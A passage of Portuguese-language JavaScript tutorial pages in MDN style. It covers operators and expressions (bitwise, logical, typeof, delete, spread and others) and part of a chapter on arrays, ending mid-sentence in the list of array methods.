|\n\n### Operadores bit a bit\n\nOperadores bit a bit tratam seus operandos como um conjunto de 32 bits (zeros e uns), em vez de tratá-los como números decimais, hexadecimais ou octais. Por exemplo, o número decimal nove possui uma representação binária 1001. Operadores bit a bit realizam suas operações nestas representações, mas retornam valores numéricos padrões do JavaScript.\n\nA tabela a seguir resume os operadores bit a bit do JavaScript.\n\n| Operador | Expressão | Descrição |\n| --- | --- | --- |\n| AND | `a & b` | Retorna um 1 para cada posição em que os bits da posição correspondente de ambos operandos sejam uns. |\n| OR | `a | b` | Retorna um 0 para cada posição em que os bits da posição correspondente de ambos os operandos sejam zeros. |\n| XOR | `a ^ b` | Retorna um 0 para cada posição em que os bits da posição correspondente são os mesmos. [Retorna um 1 para cada posição em que os bits da posição correspondente sejam diferentes.] |\n| NOT | `~ a` | Inverte os bits do operando. |\n| Deslocamento à esquerda | `a << b` | Desloca `a` em representação binária `b` bits à esquerda, preenchendo com zeros à direita. |\n| Deslocamento à direita com propagação de sinal | `a >> b` | Desloca `a` em representação binária `b` bits à direita, descartando bits excedentes. |\n| Deslocamento à direita com preenchimento zero | `a >>> b` | Desloca `a` em representação binária `b` bits à direita, descartando bits excedentes e preenchendo com zeros à esquerda. |\n\n#### Operadores bit a bit lógicos\n\nConceitualmente, os operadores bit a bit lógicos funcionam da seguinte maneira:\n\n* Os operandos são convertidos em inteiros de 32 bits e expressos como uma série de bits (zeros e uns). Números com representação maior que 32 bits terão seus bits truncados. Por exemplo, o seguinte inteiro tem representação binária maior que 32 bits será convertido em um inteiro de 32 bits.\n```\n\nAntes: 11100110111110100000000000000110000000000001\nDepois:            10100000000000000110000000000001\n```\n\n\n* Cada bit do primeiro operando é pareado com o bit correspondente do segundo operando: primeiro bit com primeiro bit, segundo bit com segundo bit e assim por diante.\n* O operador é aplicado a cada par de bits e o resultado é construído bit a bit.\n\nPor exemplo, a representação binária de nove é 1001 e a representação binária de quinze é 1111. Desta forma, quando operadores bit a bit são aplicados a estes valores, os resultados são como se segue:\n\n| Expressão | Resultado | Descrição binária |\n| --- | --- | --- |\n| `15 & 9` | `9` | `1111 & 1001 = 1001` |\n| `15 | 9` | `15` | `1111 | 1001 = 1111` |\n| `15 ^ 9` | `6` | `1111 ^ 1001 = 0110` |\n| `~15` | `-16` | `~ 0000 0000 … 0000 1111 = 1111 1111 … 1111 0000` |\n| `~9` | `-10` | `~ 0000 0000 … 0000 1001 = 1111 1111 … 1111 0110` |\n\n**Nota:** No quadro acima perceba que todos os 32 bits são invertidos quando usa-se o operador bit a bit NOT, e que os bits mais significativos (extrema esquerda) são definidos com 1 que representam valores negativos (representação complemento de dois).\n\n#### Operadores de deslocamento bit a bit\n\nOs operadores de deslocamento bit a bit possui dois operandos: o primeiro é uma quantidade a ser deslocada e o segundo especifica o número de posições binárias as quais o primeiro operando deverá ser deslocado. A direção da operação de deslocamento é controlada pelo operador utilizado.\n\nOperadores de deslocamento convertem seus operandos em inteiros de 32 bits e retornam um resultado do tipo do operando à esquerda.\n\nOs operadores de deslocamento são listados na tabela a seguir.\n\n| Operador | Descrição | Exemplo |\n| --- | --- | --- |\n| `Deslocamento à esquerda (<<)` | Este operador desloca o primeiro operando pelo número especificado de bits à esquerda. Bits excedentes deslocados para fora do limite à esquerda são descartados. Bits zero são inseridos à direita. | `9<<2` produz 36 porque 1001 deslocado 2 bits à esquerda se torna 100100, que é 36. |\n| Deslocamento à direita com propagação de sinal (`>>`) | Este operador desloca o primeiro operando pelo número especificado de bits à direita. Bits excedentes deslocados para fora do limite à direita são descartados. Cópias dos bits mais à esquerda são deslocadas a partir da esquerda. | `9>>2` produz 2 porque 1001 deslocado 2 bits à direita se torna 10, que é 2. De forma similar, `-9>>2` produz -3 porque o sinal é preservado. |\n| Deslocamento à direita com preenchimento zero (`>>>`) | Este operador desloca o primeiro operando pelo número especificado de bits à direita. Bits excedentes deslocados para fora do limite à direita são descartados. Bits zero são inseridos à esquerda. | `19>>>2` produz 4 porque 10011 deslocado 2 bits à direita se torna 100, que é 4. Para números não negativos o deslocamento à direita com propagação de sinal e o deslocamento à direita com preenchimento zero produzem o mesmo resultado. |\n\n### Operadores lógicos\n\nOperadores lógicos são utilizados tipicamente com valores booleanos (lógicos); neste caso, retornam um valor booleano. Entretanto, os operadores && e || na verdade retornam o valor de um dos operandos especificados, de forma que se esses operadores forem utilizados com valores não-booleanos, eles possam retornar um valor não-booleano. Os operadores lógicos são descritos na seguinte tabela.\n\n| Operador | Utilização | Descrição |\n| --- | --- | --- |\n| `AND lógico (&&)` | `expr1 && expr2` | (E lógico) - Retorna `expr1` caso possa ser convertido para falso; senão, retorna `expr2`. Assim, quando utilizado com valores booleanos, `&&` retorna verdadeiro caso ambos operandos sejam verdadeiros; caso contrário, retorna falso. |\n| `OU lógico (||)` | `expr1 || expr2` | (OU lógico) - Retorna `expr1` caso possa ser convertido para verdadeiro; senão, retorna `expr2`. Assim, quando utilizado com valores booleanos, `||` retorna verdadeiro caso ambos os operandos sejam verdadeiro; se ambos forem falsos, retorna falso. |\n| `NOT lógico (!)` | `!expr` | (Negação lógica) Retorna falso caso o único operando possa ser convertido para verdadeiro; senão, retorna verdadeiro. |\n\nExemplos de expressões que podem ser convertidas para falso são aquelas que são avaliados como nulo, 0, string vazia (\"\") ou `undefined`.\n\nO código a seguir mostra exemplos do operador && (E lógico).\n\n\n```js\nvar a1 = true && true; // t && t retorna true\nvar a2 = true && false; // t && f retorna false\nvar a3 = false && true; // f && t retorna false\nvar a4 = false && 3 == 4; // f && f retorna false\nvar a5 = \"Gato\" && \"Cão\"; // t && t retorna Cão\nvar a6 = false && \"Gato\"; // f && t retorna false\nvar a7 = \"Gato\" && false; // t && f retorna false\n```\n\n\nO código a seguir mostra exemplos do operador || (OU lógico).\n\n\n```js\nvar o1 = true || true; // t || t retorna true\nvar o2 = false || true; // f || t retorna true\nvar o3 = true || false; // t || f retorna true\nvar o4 = false || 3 == 4; // f || f retorna false\nvar o5 = \"Gato\" || \"Cão\"; // t || t retorna Gato\nvar o6 = false || \"Gato\"; // f || t retorna Gato\nvar o7 = \"Gato\" || false; // t || f retorna Gato\n```\n\n\nO código a seguir mostra exemplos do operador ! (negação lógica).\n\n\n```js\nvar n1 = !true; // !t retorna false\nvar n2 = !false; // !f retorna true\nvar n3 = !\"Gato\"; // !t retorna false\n```\n\n\n#### Avaliação de curto-circuito\n\nComo expressões lógicas são avaliadas da esquerda para a direita, elas são testadas como possíveis avaliações de \"curto-circuito\" utilizando as seguintes regras:\n\n* `false` && *qualquercoisa* é avaliado em curto-circuito como falso.\n* `true` || *qualquercoisa* é avaliado em curto-circuito como verdadeiro.\n\nAs regras de lógica garantem que estas avaliações estejam sempre corretas. Repare que a parte *qualquercoisa* das expressões acima não é avaliada, de forma que qualquer efeito colateral de fazê-lo não produz efeito algum.\n\n### Operadores de string\n\nAlém dos operadores de comparação, que podem ser utilizados em valores string, o operador de concatenação (+) concatena dois valores string, retornando outra string que é a união dos dois operandos.\n\nPor exemplo,\n```\n\n console.log(\"minha \" + \"string\"); // exibe a string \"minha string\".\n```\n\n\nO operador de atribuição encurtado += também pode ser utilizado para concatenar strings.\n\nPor exemplo,\n```\n\nvar minhaString = \"alfa\";\nminhaString += \"beto\"; // É avaliada como \"alfabeto\" e atribui este valor a minhastring.\n```\n\n### Operador condicional (ternário)\n\nO operador condicional é o único operador JavaScript que utiliza três operandos. O operador pode ter um de dois valores baseados em uma condição. A sintaxe é:\n```\n\ncondicao ? valor1 : valor2\n```\n\n\nSe `condicao` for verdadeira, o operador terá o valor de `valor1`. Caso contrário, terá o valor de `valor2`. Você pode utilizar o operador condicional em qualquer lugar onde utilizaria um operador padrão.\n\nPor exemplo,\n\n\n```js\nvar status = idade >= 18 ? \"adulto\" : \"menor de idade\";\n```\n\n\nEsta declaração atribui o valor \"adulto\" à variável `status` caso `idade` seja dezoito ou mais. Caso contrário, atribui o valor \"menor de idade\".\n\n### Operador vírgula\n\nO operador vírgula (`,`) simplesmente avalia ambos de seus operandos e retorna o valor do segundo. Este operador é utilizado primariamente dentro de um laço `for` para permitir que multiplas variáveis sejam atualizadas cada vez através do laço.\n\nPor exemplo, se `a` é uma matriz bidimensional com 10 elementos em um lado, o código a seguir utiliza o operador vírgula para incrementar duas variáveis de uma só vez. O código imprime os valores dos elementos diagonais da matriz:\n\n\n```js\nfor (var i = 0, j = 9; i <= 9; i++, j--)\n  console.log(\"a[\" + i + \"][\" + j + \"]= \" + a[i][j]);\n```\n\n### Operadores unário\n\nUm operador unário é uma operação com apenas um operando.\n\n#### `delete`\n\nO operador `delete` apaga um objeto, uma propriedade de um objeto ou um elemento no índice especificado de uma matriz. A sintaxe é:\n\n\n```js\ndelete nomeObjeto;\ndelete nomeObjeto.propriedade;\ndelete nomeObjeto[indice];\ndelete propriedade; // válido apenas dentro de uma declaração with\n```\n\n\nonde `nomeObjeto` é o nome de um objeto, `propriedade` é uma propriedade existente e `indice` é um inteiro que representa a localização de um elemento em uma matriz.\n\nA quarta forma é permitida somente dentro de uma declaração `with` para apagar uma propriedade de um objeto.\n\nVocê pode utilizar o operador `delete` para apagar variáveis declaradas implicitamente mas não aquelas declaradas com `var`.\n\nSe o operador `delete` for bem-sucedido, ele define a propriedade ou elemento para `undefined`. O operador `delete` retorna verdadeiro se a operação for possível; ele retorna falso se a operação não for possível.\n\n\n```js\nx = 42;\nvar y = 43;\nmeuobj = new Number();\nmeuobj.h = 4; // cria a propriedade h\ndelete x; // retorna true (pode apagar se declarado implicitamente)\ndelete y; // retorna false (não pode apagar se declarado com var)\ndelete Math.PI; // retorna false (não pode apagar propriedades predefinidas)\ndelete meuobj.h; // retorna true (pode apagar propriedades definidas pelo usuário)\ndelete meuobj; // retorna true (pode apagar se declarado implicitamente)\n```\n\n\n##### Apagando elementos de array\n\nQuando você apaga um elemento de um array, o tamanho do array não é afetado. Por exemplo, se você apaga `a[3]`, o valor de `a[4]` ainda estará em `a[4]` e `a[3]` passa a ser `undefined`.\n\nQuando o operador `delete` remove um elemento do array, aquele elemento não pertence mais ao array. No exemplo a seguir, `arvores[3]` é removido com `delete`. Entretanto, `arvores[3]` ainda é endereçável e retorna `undefined`.\n\n\n```js\nvar arvores = new Array(\n  \"pau-brasil\",\n  \"loureiro\",\n  \"cedro\",\n  \"carvalho\",\n  \"sicômoro\",\n);\ndelete arvores[3];\nif (3 in arvores) {\n  // isto não é executado\n}\n```\n\n\nSe você quer que um elemento do array exista, mas tenha um valor indefinido, utilize a palavra-chave `undefined` em vez do operador `delete`. No exemplo a seguir, o valor `undefined` é atribuído a `arvores[3]`, mas o elemento da matriz ainda existe:\n\n\n```js\nvar arvores = new Array(\n  \"pau-brasil\",\n  \"loureiro\",\n  \"cedro\",\n  \"carvalho\",\n  \"sicômoro\",\n);\narvores[3] = undefined;\nif (3 in arvores) {\n  // isto será executado\n}\n```\n\n\n#### `typeof`\n\nO operador `typeof` é utilizado em qualquer uma das seguintes formas:\n\n\n```js\ntypeof operando;\ntypeof (operando);\n```\n\n\nO operador `typeof` retorna uma string indicando o tipo do operando sem avaliação. `operando` é uma string, variável, palavra-chave ou objeto cujo tipo deve ser retornado. Os parênteses são opcionais.\n\nSuponha que você defina as seguintes variáveis:\n\n\n```js\nvar meuLazer = new Function(\"5 + 2\");\nvar forma = \"redondo\";\nvar tamanho = 1;\nvar hoje = new Date();\n```\n\n\nO operador `typeof` retornaria o seguinte resultado para aquelas variáveis:\n\n\n```js\ntypeof meuLazer; // retorna \"function\"\ntypeof forma; // retorna \"string\"\ntypeof tamanho; // retorna \"number\"\ntypeof hoje; // retorna \"object\"\ntypeof naoExiste; // retorna \"undefined\"\n```\n\n\nPara as palavras-chave `true` e `null`, o `typeof` retorna os seguintes resultados:\n\n\n```js\ntypeof true; // retorna \"boolean\"\ntypeof null; // retorna \"object\"\n```\n\n\nPara um número ou uma string, o `typeof` retorna os seguintes resultados:\n\n\n```js\ntypeof 62; // retorna \"number\"\ntypeof \"Olá mundo\"; // retorna \"string\"\n```\n\n\nPara valores de propriedades, o `typeof` retorna o tipo do valor que a propriedade possui:\n\n\n```js\ntypeof document.lastModified; // retorna \"string\"\ntypeof window.length; // retorna \"number\"\ntypeof Math.LN2; // retorna \"number\"\n```\n\n\nPara métodos e funções, o `typeof` retorna os seguintes resultados:\n\n\n```js\ntypeof blur; // retorna \"function\"\ntypeof eval; // retorna \"function\"\ntypeof parseInt; // retorna \"function\"\ntypeof forma.split; // retorna \"function\"\n```\n\n\nPara objetos predefinidos, o `typeof` retorna os seguintes resultados:\n\n\n```js\ntypeof Date; // retorna \"function\"\ntypeof Function; // retorna \"function\"\ntypeof Math; // retorna \"object\"\ntypeof Option; // retorna \"function\"\ntypeof String; // retorna \"function\"\n```\n\n\n#### `void`\n\nO operador `void` é utilizado de qualquer uma das seguintes formas:\n\n\n```js\nvoid (expressao);\nvoid expressao;\n```\n\n\nO operador `void` especifica que uma expressão deve ser avaliada sem retorno de valor. `expressao` é uma expressão JavaScript que deve ser avaliada. Os parênteses em torno da expressão são opcionais, mas é uma boa prática utilizá-los.\n\nVocê pode utilizar o operador `void` para especificar uma expressão como um link de hipertexto. A expressão é avaliada mas não é carregada no lugar do documento atual.\n\nO código a seguir cria um link de hipertexto que não faz coisa alguma quando clicado pelo usuário. Quando o usuário clica no link, `void(0)` é avaliado como indefinido, que não tem efeito em JavaScript.\n\n\n```html\n<a href=\"javascript:void(0)\">Clique aqui para fazer nada</a>\n```\n\n\nO código a seguir cria um link de hipertexto que submete um formulário quando clicado pelo usuário.\n\n\n```html\n<a href=\"javascript:void(document.form.submit())\">Clique aqui para enviar</a>\n```\n\n### Operadores relacionais\n\nUm operador relacional compara seus operando e retorna um valor booleano baseado em se a comparação é verdadeira.\n\n#### `in`\n\nO operador `in` retorna verdadeiro se a propriedade especificada estiver no objeto especificado. A sintaxe é:\n\n\n```js\nnomePropriedadeOuNumero in nomeObjeto;\n```\n\n\nonde `nomePropriedadeOuNumero` é uma string ou uma expressão numérica que representa um nome de propriedade ou um índice de um array, e `nomeObjeto` é o nome de um objeto.\n\nOs exemplos a seguir mostram alguns usos do operador `in`.\n\n\n```js\n// Arrays\nvar arvores = new Array(\n  \"pau-brasil\",\n  \"loureiro\",\n  \"cedro\",\n  \"carvalho\",\n  \"sicômoro\",\n);\n0 in arvores; // retorna verdadeiro\n3 in arvores; // retorna verdadeiro\n6 in arvores; // retorna falso\n\"cedro\" in arvores; // retorna falso (você deve especificar o número do índice,\n// não o valor naquele índice)\n\"length\" in arvores; // retorna verdadeiro (length é uma propriedade de Array)\n\n// Objetos predefinidos\n\"PI\" in Math; // retorna verdadeiro\nvar minhaString = new String(\"coral\");\n\"length\" in minhaString; // retorna verdadeiro\n\n// Objetos personalizados\nvar meucarro = { marca: \"Honda\", modelo: \"Accord\", ano: 1998 };\n\"marca\" in meucarro; // retorna verdadeiro\n\"modelo\" in meucarro; // retorna verdadeiro\n```\n\n\n#### `instanceof`\n\nO operador `instanceof` retorna verdadeiro se o objeto especificado for do tipo de objeto especificado. A sintaxe é:\n\n\n```js\nnomeObjeto instanceof tipoObjeto;\n```\n\n\nonde `nomeObjeto` é o nome do objeto a ser comparado com `tipoObjeto`, e `tipoObjeto` é um tipo de objeto como `Date` ou `Array`.\n\nUtilize o `instanceof` quando você precisar confirmar o tipo de um objeto em tempo de execução. Por exemplo, ao capturar exceções você pode desviar para um código de manipulação de exceção diferente dependendo do tipo de exceção lançada.\n\nPor exemplo, o código a seguir utiliza o `instanceof` para determinar se `dia` é um objeto `Date`. Como `dia` é um objeto `Date`, as declarações do `if` são executadas.\n\n\n```js\nvar dia = new Date(1995, 12, 17);\nif (dia instanceof Date) {\n  // declarações a serem executadas\n}\n```\n\n### Precedência de operadores\n\nA *precedência* de operadores determina a ordem em que eles são aplicados quando uma expressão é avaliada. Você pode substituir a precedência dos operadores utilizando parênteses.\n\nA tabela a seguir descreve a precedência de operadores, da mais alta para a mais baixa.\n\n| Tipo de operador | Operadores individuais |\n| --- | --- |\n| membro | `. []` |\n| chamada / criação de instância | `() new` |\n| negação / incremento | `! ~ - + ++ -- typeof void delete` |\n| multiplicação / divisão / resto ou módulo | `* / %` |\n| adição / subtração | `+ -` |\n| deslocamento bit a bit | `<< >> >>>` |\n| relacional | `< <= > >= in instanceof` |\n| igualdade | `== != === !==` |\n| E bit a bit | `&` |\n| OU exclusivo bit a bit | `^` |\n| OU bit a bit | `|` |\n| E lógico | `&&` |\n| OU lógico | `||` |\n| condicional | `?:` |\n| atribuição | `= += -= *= /= %= <<= >>= >>>= &= ^= |=` |\n| vírgula | `,` |\n\nUma versão mais detalhada desta tabela, com links adicionais para detalhes de cada operador, pode ser vista em Referência do JavaScript (en-US).\n\nExpressões\n----------\n\nUma *expressão* consiste em qualquer unidade válida de código que é resolvida como um valor.\n\nConceitualmente, existem dois tipos de expressões: aquelas que atribuem um valor a uma variável e aquelas que simplesmente possuem um valor.\n\nA expressão `x = 7` é um exemplo do primeiro tipo. Esta expressão utiliza o *operador* = para atribuir o valor sete à variável `x`. A expressão em si é avaliada como sete.\n\nO código `3 + 4` é um exemplo do segundo tipo de expressão. Esta expressão utiliza o operador + para somar três e quatro sem atribuir o resultado, sete, a uma variável.\n\nO JavaScript possui as seguintes categorias de expressão:\n\n* Aritmética: é avaliada como um número, por exemplo 3.14159. (Geralmente utiliza operadores aritméticos).\n* String: é avaliada como uma string de caracteres, por exemplo, \"Fred\" ou \"234\". (Geralmente utiliza operadores de string).\n* Lógica: é avaliada como verdadeira ou falsa. (Costuma envolveroperadores lógicos).\n* Expressões primárias: Palavras reservadas e expressões gerais do JavaScript.\n* Expressão lado esquerdo: atribuição à esquerda de valores.\n### Expressões primárias\n\nPalavras reservadas e expressões gerais do JavaScript.\n\n#### `this`\n\nUtilize a palavra reservada `this` para se referir ao objeto atual. Em geral, o `this` se refere ao objeto chamado em um método. Utilize o `this` das seguintes formas:\n\n\n```js\nthis[\"nomePropriedade\"];\nthis.nomePropriedade;\n```\n\n\nSuponha uma função chamada `valide` que valida a propriedade `valor` de um objeto, dado o objeto e os valores máximo e mínimo:\n\n\n```js\nfunction valide(obj, minimo, maximo) {\n  if (obj.valor < minimo || obj.valor > maximo) alert(\"Valor inválido!\");\n}\n```\n\n\nVocê poderia chamar `valide` em cada manipulador de evento `onChange` de um formulário utilizando `this` para passar o elemento do formulário, como no exemplo a seguir:\n\n\n```html\n<b>Informe um número entre 18 e 99:</b>\n<input type=\"text\" name=\"idade\" size=\"3\" onChange=\"valide(this, 18, 99);\" />\n```\n\n\n#### Operador de agrupamento\n\nO operador de agrupamento `( )` controla a precedência de avaliação de expressões. Por exemplo, você pode substituir a precedência da divisão e multiplicação para que a adição e subtração sejam avaliadas primeiro.\n\n\n```js\nvar a = 1;\nvar b = 2;\nvar c = 3;\n\n// Precedência padrão\na + b \\* c; // 7\n// a avaliação padrão pode ser assim\na + (b \\* c); // 7\n\n// Agora substitui a precedência\n// soma antes de multiplicar\n(a + b) \\* c; // 9\n\n// o que é equivalente a\na \\* c + b \\* c; // 9\n```\n\n\n#### Comprehensions\n\nComprehensions são uma característica experimental de JavaScript, marcada para ser inclusa em uma versão futura do ECMAScript. Existem duas versões de Comprehensions:\n\nExperimental\n**`[for (x of y) x]` (en-US)**\n Comprehensions de array.\n\n\nExperimental\n\\*\\*`(for (x of y) y)` (en-US)\n \\*\\* `gerador de` comprehensions\n\nComprehensions existem em muitas linguagens de programação e permitem que você rapidamente monte um novo array com base em um existente, por exemplo:\n\n\n```js\n[for (i of [ 1, 2, 3 ]) i\\*i ];\n// [ 1, 4, 9 ]\n\nvar abc = [ \"A\", \"B\", \"C\" ];\n[for (letras of abc) letras.toLowerCase()];\n// [ \"a\", \"b\", \"c\" ]\n```\n\n### Expressão lado esquerdo\n\nAtribuição à esquerda de valores.\n\n#### `new`\n\nVocê pode utilizar o operador new para criar uma instância de um tipo de objeto definido pelo usuário ou de um dos tipos de objeto predefinidos: `Array`, `Boolean`, `Date`, `Function`, `Image`, `Number`, `Object`, `Option`, `RegExp` ou `String`. No servidor, você pode também utilizar `DbPool`, `Lock`, `File` ou `SendMail`. Utilize o operador `new` da seguinte forma:\n\n\n```js\nvar nomeObjeto = new tipoObjeto([parametro1, parametro2, ..., parametroN]);\n```\n\n\n#### `super`\n\nA palavra reservada super é utilizada para chamar a função pai de um objeto. É útil para nas classes para a chamada do construtor pai, por exemplo:\n```\n\nsuper([argumentos]); //chama o construtor pai.\nsuper.funcaoDoPai([argumentos]);\n```\n\n\n#### `Operador spread`\n\nO operador `spread` permite que uma expressão seja expandido em locais onde são esperados vários argumentos (para chamadas de função) ou vários elementos (para arrays).\n\nExemplo: Se você tem um array e deseja criar um novo array com os elementos do array já existente sendo parte do novo array, a sintaxe do array não será suficiente e você terá de usar uma combinação de push, splice, concat, etc. Com a sintaxe `spread`, isto torna-se muito mais sucinto:\n\n\n```js\nvar partes = [\"ombro\", \"joelhos\"];\nvar musica = [\"cabeca\", ...partes, \"e\", \"pés\"];\n```\n\n\nDa mesma forma, o operador `spread` funciona com chamadas de função:\n\n\n```js\nfunction f(x, y, z) {}\nvar args = [0, 1, 2];\nf(...args);\n```\n\n* « Previous\n* Next »"}
{"title":"Coleções Indexadas - JavaScript","text":"Coleções Indexadas\n==================\n\n* « Previous\n* Next »\n\nEste capítulo introduz coleções de dados que são ordenados por um valor indexado. Isso inclui construtores de arrays e array-like como objetos `Array` e `TypedArray` (en-US).\n\nObjeto `Array`\n--------------\n\nUm array é um conjunto de valores ordenados que você o referencia com um nome e um índice. Por exemplo, você pode ter um array chamado `emp` que contém nomes de funcionários indexados por seus números de funcionários. Então `emp[1]` poderia ser o funcionário número 1, `emp[2]` o funcionário número 2 e assim por diante.\n\nJavaScript não possui um tipo de dados array específico. No entanto, você pode usar o objeto predefinido `Array` e seus métodos para trabalhar com arrays em suas aplicações. O objeto `Array` tem métodos para manipular arrays de várias maneiras como join, reverse e sort. Ele tem uma propriedade para determinar o tamanho do array e outras propriedades para usar com expressões regulares.\n\n### Criando um array\n\nAs declarações a seguir criam arrays equivalentes:\n\n\n```js\nvar arr = new Array(elemento0, elemento1, ..., elementoN);\nvar arr = Array(elemento0, elemento1, ..., elementoN);\nvar arr = [elemento0, elemento1, ..., elementoN];\n```\n\n\n`elemento0, elemento1, ..., elementoN` é uma lista de valores para os elementos do array. Quando esses valores são especificados, o array é inicializado com eles como elementos deste array. A propriedade do comprimento do array é definida pelo número de argumentos.\n\nA sintaxe dos colchetes é chamada de \"array literal\" ou \"inicializador de array\". É uma abreviação de outras formas de criação de array e é a forma preferida de criação. Veja Array literal para detalhes.\n\nPara criar um array com tamanho diferente de zero mas sem nenhum item, qualquer esquema abaixo pode ser utilizado:\n\n\n```js\nvar arr = new Array(comprimentoDoArray);\nvar arr = Array(comprimentoDoArray);\n\n// Estes produzem exatamente o mesmo efeito\nvar arr = [];\narr.length = comprimentoDoArray;\n```\n\n\n**Nota:** **Nota :** No código acima, `comprimentoDoArray` deve ser um `Número`. De outra maneira, um array com um único elemento (o valor passado) será criado. Chamar `arr.length` retornará `comprimentoDoArray`, mas o array na verdade, contem elementos vazios (undefined). Executar um loop `for...in` no array, não retornará nenhum dos elementos do array.\n\nAlém de poderem ser definidos como uma nova variável, como mostrado acima, arrays também podem ser atribuídos como uma propriedade de um novo objeto, ou de um objeto existente:\n\n\n```js\nvar obj = {};\n// ...\nobj.prop = [elemento0, elemento1, ..., elementoN];\n\n// OU\nvar obj = {prop: [elemento0, elemento1, ...., elementoN]}\n```\n\n\nSe você deseja inicializar um array com um único elemento, e este elemento é um `Número`, você precisa usar a sintáxe dos colchetes. Quando um único valor de `Número` é passado para o construtor do Array(), ou para uma função, ele é interpretado como um `comprimentoDoArray`, e não como um elemento único.\n\n\n```js\nvar arr = [42]; // Cria um array com apenas um elemento:\n// o número 42.\n\nvar arr = Array(42); // Cria um array sem elementos\n// e arr.length é definido como 42; isso é\n// equivalente a:\nvar arr = [];\narr.length = 42;\n```\n\n\nChamar `Array(N)` resulta em um `RangeError`, se `N` é um número não inteiro cuja porção fracionária não é zero. O exemplo a seguir ilustra esse comportamento.\n\n\n```js\nvar arr = Array(9.3); // RangeError: Invalid array length\n```\n\n\nSe o seu código precisa criar arrays com elementos singulares de um tipo de dados arbitrário, é mais seguro usar arrays literais. Ou então, crie um array vazio antes de adicionar um elemento singular nele.\n\n### Povoando um array\n\nVocê pode povoar (inserir elementos) a um array atribuindo valores aos seus elementos. Por exemplo:\n\n\n```js\nvar emp = [];\nemp[0] = \"Casey Jones\";\nemp[1] = \"Phil Lesh\";\nemp[2] = \"August West\";\n```\n\n\n**Nota:** **Nota :** se você fornece um valor não inteiro ao operador do array, como no código acima, a propriedade será criada no objeto representando o array, ao invés do elemento do array.\n\n\n```js\nvar arr = [];\narr[3.4] = \"Oranges\";\nconsole.log(arr.length); // 0\nconsole.log(arr.hasOwnProperty(3.4)); // verdadeiro\n```\n\n\nVocê também pode povoar o array quando o cria:\n\n\n```js\nvar myArray = new Array(\"Olá\", myVar, 3.14159);\nvar myArray = [\"Manga\", \"Maçã\", \"Laranja\"];\n```\n\n### Referenciando os elementos do array\n\nVocê referencia os elementos do array através do uso de elementos numéricos ordinais. Por exemplo, suponha que você definiu o seguinte array:\n\n\n```js\nvar myArray = [\"Vento\", \"Chuva\", \"Fogo\"];\n```\n\n\nVocê então se refere ao primeiro elemento do array como em `myArray[0]` e ao segundo elemento do array como em `myArray[1]`. O índice do elemento começa com zero.\n\n**Nota:** **Nota :** o operador do array (colchetes) também é usado para acessar as propriedades do array (arrays também são objetos em JavaScript). Por exemplo,\n\n\n```js\nvar arr = [\"um\", \"dois\", \"três\"];\narr[2]; // três\narr[\"length\"]; // 3\n```\n\n### Compreendendo o comprimento\n\nSobe o ponto de vista da implementação, arrays JavaScript armazenam na realidade elementos como propriedades de objetos padrões, usando o índice do array como o nome da propriedade. O comprimento da propriedade é especial: ele sempre retorna o índice do último mais um (no exemplo seguinte Dusty é indexado no 30, então cats.length retorna 30 + 1). Lembre-se, índices de arrays JavaScript são baseados no zero: eles começam no 0, não no 1. Isso significa que o comprimento da propriedade será um a mais que o maior índice armazenado no array:\n\n\n```js\nvar gatos = [];\ngatos[30] = [\"Dusty\"];\nconsole.log(gatos.length); // 31\n```\n\n\nVocê também pode atribuir um valor à propriedade `length`. Ao escrever um valor menor que o número de itens armazenados, trunca o array: escrevendo zero limpa-o completamente:\n\n\n```js\nvar gatos = [\"Dusty\", \"Misty\", \"Twiggy\"];\nconsole.log(gatos.length); // 3\n\ngatos.length = 2;\nconsole.log(gatos); // mostra \"Dusty, Misty\" - Twiggy foi removido\n\ngatos.length = 0;\nconsole.log(gatos); // nada é apresentado; o array gatos está vazio\n\ngatos.length = 3;\nconsole.log(gatos); // [undefined, undefined, undefined]\n```\n\n### Iteração em arrays\n\nUma operação comum é a de iterar sobre os valores de um array, processando cada elemento de alguma maneira. A maneira mais simples para fazer isso é como segue:\n\n\n```js\nvar cores = [\"vermelho\", \"verde\", \"azul\"];\nfor (var i = 0; i < cores.length; i++) {\n  console.log(cores[i]);\n}\n```\n\n\nSe você sabe que nenhum dos elemnetos no seu array é avaliado como `false` em um contexto booleano — se o seu array consiste apenas de nodos do DOM, como exemplo, você pode usar um idioma mais eficiente:\n\n\n```js\nvar divs = document.getElementsByTagName(\"div\");\nfor (var i = 0, div; (div = divs[i]); i++) {\n  /\\* Processa div de alguma forma \\*/\n}\n```\n\n\nIsso evita a sobrecarga da checagem do comprimento do array, e garante que a variável div seja reatribuida ao item atual cada vez que o loop for adicionado por conveniência.\n\nO método `forEach()` disponibiliza um outro jeito de iterar sobre/em um array:\n\n\n```js\nvar cores = [\"vermelho\", \"verde\", \"azul\"];\ncores.forEach(function (cor) {\n  console.log(cor);\n});\n// vermelho\n// verde\n// azul\n```\n\n\nAlternativamente, você pode encurtar o código para o parâmetro do `forEach` com Arrow Functions ES6.\n\n\n```js\nvar cores = [\"vermelho\", \"verde\", \"azul\"];\ncores.forEach((cor) => console.log(cor));\n// vermelho\n// verde\n// azul\n```\n\n\nA função passada para o `forEach` é executada uma vez para cada item no array, com o item do array passado como o argumento para a função. Valores não atribuídos não são iterados no loop `forEach`.\n\nNote que os elementos de um array que foram omitidos quando o array foi definido, não são listados quando iterados pelo `forEach`, mas são listados quando `undefined` foi manualmente atribuído ao elemento:\n\n\n```js\nvar array = [\"primeiro\", \"segundo\", , \"quarto\"];\n\narray.forEach(function (elemento) {\n  console.log(elemento);\n});\n// primeiro\n// segundo\n// quarto\n\nif (array[2] === undefined) {\n  console.log(\"array[2] is undefined\"); // verdadeiro\n}\n\narray = [\"primeiro\", \"segundo\", undefined, \"quarto\"];\n\narray.forEach(function (elemento) {\n  console.log(elemento);\n});\n// primeiro\n// segundo\n// undefined\n// quarto\n```\n\n\nComo elementos JavaScript são salvos como propriedades de objetos padronizados, não é aconselhável iterar sobre arrays JavaScript usando loops `for...in`, porque elementos normais e todas as propriedades numeráveis serão listadas.\n\n### Métodos dos arrays\n\nO objeto `Array` possui os seguintes métodos:\n\n`concat()` une dois arrays e retorna um novo array.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\");\nmyArray = myArray.concat(\"a\", \"b\", \"c\");\n// myArray agora é [\"1\", \"2\", \"3\", \"a\", \"b\", \"c\"]\n```\n\n\n`join(deliminator = ',')` une todos os elementos de um array dentro de um string.\n\n\n```js\nvar myArray = new Array(\"Vento\", \"Chuva\", \"Fogo\");\nvar lista = myArray.join(\" - \"); // lista é \"Vento - Chuva - Fogo\"\n```\n\n\n`push()` adiciona um ou mais elementos no fim de um array e retorna o 